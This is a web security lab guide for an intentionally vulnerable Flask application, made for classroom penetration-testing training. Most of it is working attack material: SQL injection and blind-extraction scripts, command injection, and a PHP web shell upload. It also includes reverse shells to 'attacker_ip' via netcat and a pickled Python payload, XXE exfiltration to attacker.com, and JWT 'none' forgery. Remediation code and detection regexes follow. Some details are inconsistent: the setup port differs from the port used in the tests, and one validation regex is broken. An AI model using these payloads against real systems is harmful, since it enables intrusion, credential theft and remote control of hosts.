Skip to content

WebSploit Labs Gauntlet: A Multi-Vulnerability Challenge

Created by Omar Santos for WebSploit Labs - Cybersecurity Education

WebSploit Labs is a learning environment created by Omar Santos for different Cybersecurity Ethical Hacking, Bug Hunting, Incident Response, Digital Forensics, and Threat Hunting training sessions. WebSploit Labs includes several intentionally vulnerable applications running in Docker containers on top of Kali Linux or Parrot Security OS, several additional tools, and over 9,000 cybersecurity resources.

WebSploit Labs has been used by many colleges and universities in different countries.

WebSploit comes with a set of intentionally vulnerable applications running in Docker containers on top of Kali Linux or Parrot Security OS, several additional tools, and over 9,000 cybersecurity resources. Those containers were created in x86_64 architecture and can be run in any x86_64 Linux system. However, if you are using a macOS in Apple Silicon, you can complete this lab without the need of running the containers.

๐ŸŽฏ Learning Objectives

By completing this comprehensive lab, students will learn to: - Identify and exploit multiple types of web vulnerabilities - Understand the interconnected nature of security flaws - Practice realistic attack scenarios and chaining techniques - Develop comprehensive penetration testing methodologies - Learn effective remediation strategies for various vulnerability types

๐Ÿ“‹ Prerequisites

  • Understanding of HTTP protocol and web applications
  • Basic knowledge of SQL, XML, and command line interfaces
  • Familiarity with web security concepts
  • Burp Suite or similar web testing tools
  • Python knowledge for exploitation scripts

๐Ÿš€ Lab Setup

Running the Application

# Install dependencies
pip install flask sqlite3 pyjwt pyyaml

# Save the application as multi_vuln_app.py
python3 multi_vuln_app.py
FROM python:3.9-slim

WORKDIR /app
COPY multi_vuln_app.py .
RUN pip install flask pyjwt pyyaml

EXPOSE 5010
CMD ["python", "multi_vuln_app.py"]
# Build and run
docker build -t websploit-multi-vuln .
docker run -p 5010:5010 websploit-multi-vuln

๐Ÿ” Vulnerability Overview

This application contains 17 different vulnerability types across multiple categories:

1. SQL Injection

  • Authentication bypass
  • Data extraction
  • Error-based SQL injection

2. Command Injection

  • OS command execution
  • System information disclosure
  • Remote code execution

3. File Upload Vulnerabilities

  • Unrestricted file upload
  • Path traversal
  • Web shell upload

4. IDOR (Insecure Direct Object Reference)

  • Unauthorized data access
  • Privilege escalation
  • Admin functionality access

5. XXE (XML External Entity)

  • File system access
  • Internal network scanning
  • Data exfiltration

6. Deserialization Attacks

  • Python pickle vulnerabilities
  • Remote code execution
  • YAML deserialization

7. JWT Vulnerabilities

  • Weak signing keys
  • Algorithm confusion
  • Token manipulation

8. Business Logic Flaws

  • Price manipulation
  • Workflow bypass
  • Input validation bypass

๐Ÿงช Testing Methodology

Phase 1: Reconnaissance and Application Mapping

1.1 Application Structure Analysis

# Map all endpoints
curl -X GET http://localhost:5012/
curl -X GET http://localhost:5012/login
curl -X GET http://localhost:5012/shop
curl -X GET http://localhost:5012/tools
curl -X GET http://localhost:5012/upload
curl -X GET http://localhost:5012/admin

1.2 Technology Stack Identification

  • Backend: Python Flask
  • Database: SQLite3
  • Session Management: Flask sessions
  • Authentication: Custom + JWT

Phase 2: SQL Injection Testing

2.1 Authentication Bypass

Target: /login endpoint

# Basic SQL injection - authentication bypass
curl -X POST http://localhost:5012/login \
  -d "username=admin' OR '1'='1-- &password=anything"

# Union-based SQL injection
curl -X POST http://localhost:5012/login \
  -d "username=admin' UNION SELECT 1,2,3,4,5-- &password=test"

# Error-based SQL injection
curl -X POST http://localhost:5012/login \
  -d "username=admin' AND (SELECT * FROM users)-- &password=test"

Target: /shop endpoint

# Extract user data
curl -G http://localhost:5012/shop \
  --data-urlencode "search=' UNION SELECT username,password,email,role FROM users-- "

# Extract table structure
curl -G http://localhost:5012/shop \
  --data-urlencode "search=' UNION SELECT name,sql,'','','' FROM sqlite_master WHERE type='table'-- "

# Extract all user passwords
curl -G http://localhost:5012/shop \
  --data-urlencode "search=' UNION SELECT username,password,'','','' FROM users-- "

2.3 Boolean-based Blind SQL Injection

# Test for admin user
curl -G http://localhost:5012/shop \
  --data-urlencode "search=' AND (SELECT COUNT(*) FROM users WHERE username='admin')=1-- "

# Extract password character by character
curl -G http://localhost:5012/shop \
  --data-urlencode "search=' AND (SELECT SUBSTR(password,1,1) FROM users WHERE username='admin')='a'-- "

Phase 3: Command Injection Testing

3.1 Basic Command Injection

Target: /tools/ping endpoint

# Basic command injection
curl -X POST http://localhost:5012/tools/ping \
  -d "host=127.0.0.1; whoami&count=1"

# Command chaining
curl -X POST http://localhost:5012/tools/ping \
  -d "host=127.0.0.1 && cat /etc/passwd&count=1"

# Command substitution
curl -X POST http://localhost:5012/tools/ping \
  -d "host=\$(whoami)&count=1"

3.2 DNS Lookup Command Injection

Target: /tools/lookup endpoint

# Inject commands via domain parameter
curl -X POST http://localhost:5012/tools/lookup \
  -d "domain=google.com; ls -la&type=A"

# Multiple command execution
curl -X POST http://localhost:5012/tools/lookup \
  -d "domain=test.com && id && uname -a&type=A"

3.3 Advanced Command Injection

# Reverse shell attempt (for educational purposes)
curl -X POST http://localhost:5012/tools/ping \
  -d "host=127.0.0.1; nc -e /bin/bash attacker_ip 4444&count=1"

# File system exploration
curl -X POST http://localhost:5012/tools/ping \
  -d "host=127.0.0.1; find / -name '*.conf' 2>/dev/null&count=1"

Phase 4: File Upload Vulnerability Testing

4.1 Unrestricted File Upload

Target: /upload endpoint

# Upload PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST http://localhost:5012/upload \
  -F "file=@shell.php"

# Upload Python script
echo 'import os; os.system("whoami")' > script.py
curl -X POST http://localhost:5012/upload \
  -F "file=@script.py"

# Upload with double extension
echo 'malicious content' > file.php.txt
curl -X POST http://localhost:5012/upload \
  -F "file=@file.php.txt"

4.2 Path Traversal Testing

# Access uploaded files
curl http://localhost:5012/uploads/shell.php

# Path traversal attempts
curl http://localhost:5012/uploads/../app.py
curl http://localhost:5012/uploads/../../etc/passwd
curl http://localhost:5012/uploads/%2e%2e%2f%2e%2e%2fetc%2fpasswd

Phase 5: IDOR (Insecure Direct Object Reference) Testing

5.1 Order Information Access

Target: /order/<id> endpoint

# Access different order IDs
for i in {1..10}; do
  echo "Testing order ID: $i"
  curl -s http://localhost:5012/order/$i | grep -E "(Order|User ID|Total)"
done

5.2 User Data Access via API

Target: /api/users/<id> endpoint

# Extract user information
for i in {1..5}; do
  echo "User ID $i:"
  curl -s http://localhost:5012/api/users/$i | jq .
done

# Look for sensitive information
curl http://localhost:5012/api/users/1 | jq '.password_hash, .api_key'

5.3 Admin Panel IDOR

Target: /admin endpoint

# Access different user profiles in admin panel
curl "http://localhost:5012/admin?user_id=1"
curl "http://localhost:5012/admin?user_id=2"
curl "http://localhost:5012/admin?user_id=999"

# SQL injection in admin panel
curl "http://localhost:5012/admin?user_id=1' UNION SELECT 1,username,password,email,role FROM users-- "

Phase 6: XXE (XML External Entity) Testing

6.1 Basic XXE File Disclosure

Target: /api/xml endpoint

# Basic XXE payload
curl -X POST http://localhost:5012/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user><name>&xxe;</name></user>'

# Windows file disclosure
curl -X POST http://localhost:5012/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> ]>
<user><name>&xxe;</name></user>'

6.2 XXE for Internal Network Scanning

# Port scanning via XXE
curl -X POST http://localhost:5012/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:22"> ]>
<user><name>&xxe;</name></user>'

# Internal service discovery
curl -X POST http://localhost:5012/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<user><name>&xxe;</name></user>'

6.3 XXE Data Exfiltration

# Exfiltrate data to external server
curl -X POST http://localhost:5012/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/xxe.dtd">
%dtd; ]>
<user><name>&send;</name></user>'

Phase 7: Deserialization Attack Testing

7.1 Python Pickle Deserialization RCE

Target: /api/data endpoint

Create malicious pickle payload:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('echo "RCE successful via pickle" > /tmp/rce_test.txt',))

# Generate payload
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(f"Malicious payload: {payload}")

# Execute RCE payload
curl -X POST http://localhost:5012/api/data \
  -d "data=gASVNwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjChlY2hvICJSQ0Ugc3VjY2Vzc2Z1bCB2aWEgcGlja2xlIiA+IC90bXAvcmNlX3Rlc3QudHh0lIWUUpQu"

# Advanced RCE with reverse shell
python3 -c "
import pickle, base64, os
class RCE:
    def __reduce__(self):
        return (os.system, ('python3 -c \"import socket,subprocess;s=socket.socket();s.connect((\\\"attacker_ip\\\",4444));subprocess.call([\\\"/bin/bash\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\"',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
"

7.2 YAML Deserialization

Target: /api/config endpoint

# Basic YAML RCE payload
curl -X POST http://localhost:5012/api/config \
  -H "Content-Type: text/plain" \
  -d "!!python/object/apply:os.system ['echo YAML_RCE > /tmp/yaml_test.txt']"

# Complex YAML payload
curl -X POST http://localhost:5012/api/config \
  -H "Content-Type: text/plain" \
  -d "!!python/object/apply:subprocess.check_output [['whoami']]"

Phase 8: JWT Vulnerability Testing

8.1 JWT Authentication

Target: /api/auth endpoint

# Obtain JWT token
TOKEN=$(curl -X POST http://localhost:5012/api/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}' | jq -r '.token')

echo "Received token: $TOKEN"

8.2 JWT Token Analysis

# Decode JWT (header.payload.signature)
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | jq .

8.3 JWT Algorithm Confusion Attack

# Create "none" algorithm token
python3 -c "
import jwt
import json
import base64

# Create header with 'none' algorithm
header = {'typ': 'JWT', 'alg': 'none'}
payload = {'username': 'admin', 'role': 'admin', 'exp': 9999999999}

# Encode header and payload
header_encoded = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_encoded = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')

# Create unsigned token
unsigned_token = f'{header_encoded}.{payload_encoded}.'
print(f'Unsigned token: {unsigned_token}')
"

# Test with manipulated token
curl -X GET http://localhost:5012/api/protected \
  -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ."

8.4 JWT Secret Bruteforcing

# JWT secret bruteforce script
import jwt
import itertools
import string

def bruteforce_jwt_secret(token, wordlist=None):
    """Bruteforce JWT secret key"""

    # Common weak secrets
    weak_secrets = ['secret', 'password', '123456', 'admin', 'test', 'key', '']

    for secret in weak_secrets:
        try:
            decoded = jwt.decode(token, secret, algorithms=['HS256'])
            print(f"Found secret: '{secret}'")
            print(f"Decoded payload: {decoded}")
            return secret
        except jwt.InvalidTokenError:
            continue

    return None

# Usage example
token = "your_jwt_token_here"
secret = bruteforce_jwt_secret(token)

Phase 9: Business Logic Vulnerability Testing

9.1 Price Manipulation

Target: /api/purchase endpoint

# Normal purchase
curl -X POST http://localhost:5012/api/purchase \
  -H "Content-Type: application/json" \
  -d '{"product_id": "1", "quantity": 1, "price": 999.99}'

# Price manipulation - negative price
curl -X POST http://localhost:5012/api/purchase \
  -H "Content-Type: application/json" \
  -d '{"product_id": "1", "quantity": 1, "price": -999.99}'

# Price manipulation - zero price
curl -X POST http://localhost:5012/api/purchase \
  -H "Content-Type: application/json" \
  -d '{"product_id": "1", "quantity": 1, "price": 0.01}'

# Quantity manipulation
curl -X POST http://localhost:5012/api/purchase \
  -H "Content-Type: application/json" \
  -d '{"product_id": "1", "quantity": -1, "price": 999.99}'

9.2 Workflow Bypass Testing

# Integer overflow attempt
curl -X POST http://localhost:5012/api/purchase \
  -H "Content-Type: application/json" \
  -d '{"product_id": "1", "quantity": 999999999999999999, "price": 0.00001}'

# Parameter pollution
curl -X POST http://localhost:5012/api/purchase \
  -d "product_id=1&quantity=1&price=999.99&price=0.01"

Phase 10: Session Management Testing

10.1 Session Data Exposure

Target: /session/data endpoint

# Analyze session information
curl -X GET http://localhost:5012/session/data \
  -H "Cookie: session=test_session_id" | jq .

# Session fixation testing
curl -X GET http://localhost:5012/session/data \
  -H "Cookie: session=attacker_controlled_session"

๐Ÿ”— Vulnerability Chaining Scenarios

Scenario 1: Complete Application Compromise

# Step 1: SQL injection to extract user credentials
curl -G http://localhost:5012/shop \
  --data-urlencode "search=' UNION SELECT username,password,email,role,api_key FROM users-- "

# Step 2: Use extracted admin credentials
curl -X POST http://localhost:5012/login \
  -d "username=admin&password=admin123"

# Step 3: Upload web shell via file upload
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST http://localhost:5012/upload -F "file=@shell.php"

# Step 4: Execute commands via uploaded shell
curl "http://localhost:5012/uploads/shell.php?cmd=whoami"

Scenario 2: Data Exfiltration Chain

# Step 1: XXE to discover internal files
curl -X POST http://localhost:5012/api/xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><n>&xxe;</n></user>'

# Step 2: Command injection to access discovered files
curl -X POST http://localhost:5012/tools/ping \
  -d "host=127.0.0.1; cat /etc/passwd&count=1"

# Step 3: Use IDOR to access user database
curl http://localhost:5012/api/users/1 | jq '.password_hash'

Scenario 3: Privilege Escalation Chain

# Step 1: Business logic flaw to create free orders
curl -X POST http://localhost:5012/api/purchase \
  -H "Content-Type: application/json" \
  -d '{"product_id": "1", "quantity": 1, "price": 0}'

# Step 2: IDOR to access admin functions
curl "http://localhost:5012/admin?user_id=1"

# Step 3: Deserialization RCE for full system control
curl -X POST http://localhost:5012/api/data \
  -d "data=[base64_rce_payload]"

๐Ÿ› ๏ธ Automated Testing Scripts

Vulnerability Scanner Script

#!/usr/bin/env python3
"""
WebSploit Labs Multi-Vulnerability Scanner
"""

import requests
import base64
import pickle
import os
import json
import jwt
from urllib.parse import quote

class WebSploitScanner:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()

    def test_sql_injection(self):
        """Test for SQL injection vulnerabilities"""
        print("[*] Testing SQL Injection...")

        # Authentication bypass
        data = {"username": "admin' OR '1'='1-- ", "password": "test"}
        response = self.session.post(f"{self.base_url}/login", data=data)

        if "Login Successful" in response.text:
            print("[+] SQL Injection found in login!")
            return True

        # Search SQL injection
        params = {"search": "' UNION SELECT 1,2,3,4-- "}
        response = self.session.get(f"{self.base_url}/shop", params=params)

        if "Database Error" in response.text or "sqlite" in response.text.lower():
            print("[+] SQL Injection found in search!")
            return True

        return False

    def test_command_injection(self):
        """Test for command injection vulnerabilities"""
        print("[*] Testing Command Injection...")

        data = {"host": "127.0.0.1; whoami", "count": "1"}
        response = self.session.post(f"{self.base_url}/tools/ping", data=data)

        if "root" in response.text or "www-data" in response.text:
            print("[+] Command Injection found!")
            return True

        return False

    def test_xxe(self):
        """Test for XXE vulnerabilities"""
        print("[*] Testing XXE...")

        xxe_payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><n>&xxe;</n></user>'''

        headers = {"Content-Type": "application/xml"}
        response = self.session.post(f"{self.base_url}/api/xml", 
                                   data=xxe_payload, headers=headers)

        if "root:" in response.text or "daemon:" in response.text:
            print("[+] XXE vulnerability found!")
            return True

        return False

    def test_deserialization(self):
        """Test for deserialization vulnerabilities"""
        print("[*] Testing Deserialization...")

        # Create test payload
        test_data = {"test": "data"}
        payload = base64.b64encode(pickle.dumps(test_data)).decode()

        data = {"data": payload}
        response = self.session.post(f"{self.base_url}/api/data", data=data)

        if "deserialized_object" in response.text:
            print("[+] Deserialization endpoint found!")
            return True

        return False

    def test_idor(self):
        """Test for IDOR vulnerabilities"""
        print("[*] Testing IDOR...")

        # Test user API endpoint
        for user_id in range(1, 5):
            response = self.session.get(f"{self.base_url}/api/users/{user_id}")
            if response.status_code == 200:
                data = response.json()
                if "password_hash" in data:
                    print(f"[+] IDOR found! User {user_id} data exposed")
                    return True

        return False

    def test_file_upload(self):
        """Test for file upload vulnerabilities"""
        print("[*] Testing File Upload...")

        # Create test file
        test_content = "<?php echo 'File upload test'; ?>"
        files = {"file": ("test.php", test_content, "text/plain")}

        response = self.session.post(f"{self.base_url}/upload", files=files)

        if "Upload Successful" in response.text:
            print("[+] Unrestricted file upload found!")
            return True

        return False

    def generate_report(self):
        """Generate vulnerability assessment report"""
        print("\n" + "="*50)
        print("WEBSPLOIT LABS VULNERABILITY ASSESSMENT REPORT")
        print("="*50)

        vulnerabilities = [
            ("SQL Injection", self.test_sql_injection()),
            ("Command Injection", self.test_command_injection()),
            ("XXE", self.test_xxe()),
            ("Deserialization", self.test_deserialization()),
            ("IDOR", self.test_idor()),
            ("File Upload", self.test_file_upload())
        ]

        print(f"\nTarget: {self.base_url}")
        print(f"Scan Date: {requests.utils.formatdate()}")
        print("\nVulnerability Summary:")
        print("-" * 30)

        found_count = 0
        for vuln_name, found in vulnerabilities:
            status = "VULNERABLE" if found else "NOT DETECTED"
            print(f"{vuln_name:<20} : {status}")
            if found:
                found_count += 1

        print(f"\nTotal Vulnerabilities Found: {found_count}/6")
        print("\n[!] This is an educational environment with intentional vulnerabilities")

if __name__ == "__main__":
    scanner = WebSploitScanner("http://localhost:5012")
    scanner.generate_report()

SQL Injection Exploitation Script

#!/usr/bin/env python3
"""
SQL Injection Data Extraction Tool
"""

import requests
import string
import time

def extract_data_blind_sqli(url, injection_point, table, column, where_clause=""):
    """Extract data using blind SQL injection"""

    extracted_data = []
    row_count = get_row_count(url, injection_point, table, where_clause)

    print(f"[*] Found {row_count} rows in {table}")

    for row in range(row_count):
        data = ""
        for pos in range(1, 50):  # Assume max 50 chars per field
            for char in string.printable:
                if char in ['%', '_', '\\', '\'']:
                    continue

                # Blind SQL injection payload
                payload = f"' AND (SELECT SUBSTR({column},{pos},1) FROM {table} {where_clause} LIMIT 1 OFFSET {row})='{char}'-- "

                response = requests.get(f"{url}?{injection_point}={payload}")

                if "product" in response.text.lower():  # Adjust based on response
                    data += char
                    print(f"Row {row+1}: {data}", end='\r')
                    break
            else:
                break  # No more characters

        if data:
            extracted_data.append(data)
            print(f"Row {row+1}: {data}")

        time.sleep(0.1)  # Rate limiting

    return extracted_data

def get_row_count(url, injection_point, table, where_clause):
    """Get number of rows in table"""
    for count in range(1, 100):
        payload = f"' AND (SELECT COUNT(*) FROM {table} {where_clause})={count}-- "
        response = requests.get(f"{url}?{injection_point}={payload}")

        if "product" in response.text.lower():
            return count

    return 0

# Usage example
url = "http://localhost:5012/shop"
usernames = extract_data_blind_sqli(url, "search", "users", "username")
passwords = extract_data_blind_sqli(url, "search", "users", "password")

print("\n[+] Extracted user credentials:")
for i, (username, password) in enumerate(zip(usernames, passwords)):
    print(f"User {i+1}: {username}:{password}")

๐Ÿ” Detection and Monitoring

1. Web Application Firewall (WAF) Detection

def detect_waf_presence(url):
    """Detect WAF presence and type"""

    waf_signatures = {
        'Cloudflare': ['cf-ray', 'cloudflare'],
        'AWS WAF': ['x-amz-cf-id'],
        'ModSecurity': ['mod_security'],
        'F5 BIG-IP': ['f5-security'],
        'Barracuda': ['barra-counter-']
    }

    test_payload = "' OR 1=1-- "
    headers = {'User-Agent': 'Mozilla/5.0 (compatible; WAF-Test)'}

    try:
        response = requests.get(f"{url}?test={test_payload}", headers=headers)

        for waf_name, signatures in waf_signatures.items():
            for sig in signatures:
                if sig in str(response.headers).lower():
                    print(f"[!] WAF Detected: {waf_name}")
                    return waf_name

        if response.status_code in [403, 406, 501, 503]:
            print("[!] Possible WAF blocking detected")
            return "Unknown WAF"

        print("[+] No WAF detected")
        return None

    except requests.exceptions.RequestException:
        print("[!] Error testing for WAF")
        return None

2. Log Analysis for Attack Detection

def analyze_attack_patterns(log_file):
    """Analyze web logs for attack patterns"""

    attack_patterns = {
        'SQL Injection': [r"'.*OR.*--", r"UNION.*SELECT", r"'.*AND.*="],
        'XSS': [r"<script", r"javascript:", r"onerror="],
        'Command Injection': [r";\s*(cat|ls|whoami)", r"\|\s*(nc|netcat)"],
        'Path Traversal': [r"\.\./", r"%2e%2e", r"\.\.\\"],
        'XXE': [r"<!ENTITY", r"SYSTEM.*file://"]
    }

    detections = {}

    with open(log_file, 'r') as f:
        for line_num, line in enumerate(f, 1):
            for attack_type, patterns in attack_patterns.items():
                for pattern in patterns:
                    if re.search(pattern, line, re.IGNORECASE):
                        if attack_type not in detections:
                            detections[attack_type] = []
                        detections[attack_type].append((line_num, line.strip()))

    return detections

๐Ÿ›ก๏ธ Remediation Strategies

1. SQL Injection Prevention

# BEFORE (Vulnerable)
def vulnerable_login(username, password):
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    cursor.execute(query)
    return cursor.fetchone()

# AFTER (Secure)
def secure_login(username, password):
    query = "SELECT * FROM users WHERE username=? AND password=?"
    cursor.execute(query, (username, hashlib.sha256(password.encode()).hexdigest()))
    return cursor.fetchone()

2. Command Injection Prevention

# BEFORE (Vulnerable)
def vulnerable_ping(host):
    command = f"ping -c 4 {host}"
    return subprocess.run(command, shell=True, capture_output=True, text=True)

# AFTER (Secure)
def secure_ping(host):
    # Input validation
    if not re.match(r'^[a-zA-Z0-9.-]+, host):
        raise ValueError("Invalid hostname")

    # Use parameterized command
    command = ["ping", "-c", "4", host]
    return subprocess.run(command, capture_output=True, text=True)

3. File Upload Security

# Secure file upload implementation
import magic
import os
from werkzeug.utils import secure_filename

def secure_file_upload(file):
    # Check file extension
    allowed_extensions = {'.txt', '.pdf', '.png', '.jpg', '.jpeg'}
    file_ext = os.path.splitext(file.filename)[1].lower()

    if file_ext not in allowed_extensions:
        raise ValueError("File type not allowed")

    # Check MIME type
    file_content = file.read()
    file.seek(0)  # Reset file pointer

    mime_type = magic.from_buffer(file_content, mime=True)
    allowed_mimes = ['text/plain', 'application/pdf', 'image/png', 'image/jpeg']

    if mime_type not in allowed_mimes:
        raise ValueError("Invalid file content")

    # Secure filename
    filename = secure_filename(file.filename)

    # Save to secure location outside web root
    upload_path = os.path.join('/var/uploads', filename)
    file.save(upload_path)

    return upload_path

4. XXE Prevention

# Secure XML parsing
from defusedxml import ElementTree as DefusedET

def secure_xml_parser(xml_data):
    try:
        # Use defusedxml which prevents XXE attacks
        root = DefusedET.fromstring(xml_data)
        return process_xml_safely(root)
    except DefusedET.ParseError as e:
        raise ValueError(f"Invalid XML: {e}")

5. JWT Security Implementation

import jwt
import secrets
from datetime import datetime, timedelta

class SecureJWTManager:
    def __init__(self):
        # Use cryptographically secure random secret
        self.secret = secrets.token_urlsafe(32)
        self.algorithm = 'HS256'

    def generate_token(self, user_data):
        payload = {
            'user_id': user_data['id'],
            'username': user_data['username'],
            'role': user_data['role'],
            'iat': datetime.utcnow(),
            'exp': datetime.utcnow() + timedelta(hours=1)  # Short expiration
        }

        return jwt.encode(payload, self.secret, algorithm=self.algorithm)

    def verify_token(self, token):
        try:
            # Explicitly specify allowed algorithms
            payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])
            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token expired")
        except jwt.InvalidTokenError:
            raise ValueError("Invalid token")

๐Ÿ“Š Lab Assessment Checklist

Student Assessment Rubric

Discovery Phase (25 points)

  • [ ] Identified all vulnerable endpoints (5 pts)
  • [ ] Mapped application functionality (5 pts)
  • [ ] Recognized technology stack (5 pts)
  • [ ] Documented attack surface (10 pts)

Exploitation Phase (50 points)

  • [ ] SQL injection successful (10 pts)
  • [ ] Command injection achieved (10 pts)
  • [ ] File upload exploitation (8 pts)
  • [ ] IDOR demonstration (8 pts)
  • [ ] XXE file disclosure (7 pts)
  • [ ] Deserialization RCE (7 pts)

Advanced Techniques (15 points)

  • [ ] Vulnerability chaining (8 pts)
  • [ ] Automated tool usage (4 pts)
  • [ ] Custom exploit development (3 pts)

Reporting and Remediation (10 points)

  • [ ] Professional vulnerability report (5 pts)
  • [ ] Remediation recommendations (5 pts)

Practical Exercises

Exercise 1: Complete Compromise

Objective: Achieve administrative access and system control Steps: 1. Use SQL injection to extract admin credentials 2. Authenticate as administrator 3. Upload web shell through file upload vulnerability 4. Execute system commands 5. Document the complete attack chain

Exercise 2: Data Exfiltration

Objective: Extract sensitive information using multiple techniques Steps: 1. Use XXE to discover internal files 2. Use SQL injection to extract user database 3. Use IDOR to access restricted user data 4. Use command injection to access system files 5. Compile comprehensive data inventory

Exercise 3: Business Logic Exploitation

Objective: Exploit application workflow flaws Steps: 1. Analyze purchase flow for logic flaws 2. Manipulate prices to create fraudulent orders 3. Use IDOR to access other users' orders 4. Demonstrate financial impact 5. Propose business logic controls

๐ŸŽ“ Learning Outcomes Assessment

Knowledge Check Questions

  1. Vulnerability Identification: What are the key indicators of SQL injection vulnerabilities in web applications?

  2. Attack Methodology: How do you chain different vulnerabilities to achieve maximum impact?

  3. Risk Assessment: What factors determine the severity of a deserialization vulnerability?

  4. Remediation Planning: What defense-in-depth strategies prevent command injection attacks?

  5. Business Impact: How do you quantify the business risk of IDOR vulnerabilities?

Hands-on Challenges

Challenge 1: Blind SQL Injection

Extract all user passwords using only boolean-based blind SQL injection techniques.

Challenge 2: XXE to RCE

Chain XXE vulnerability with other flaws to achieve remote code execution.

Challenge 3: JWT Privilege Escalation

Manipulate JWT tokens to escalate from user to admin privileges.

Challenge 4: Steganographic Web Shell

Upload a web shell hidden in an image file using steganographic techniques.

Challenge 5: Multi-stage Attack

Plan and execute a realistic APT-style attack using multiple vulnerabilities.

๐Ÿ“š Additional Resources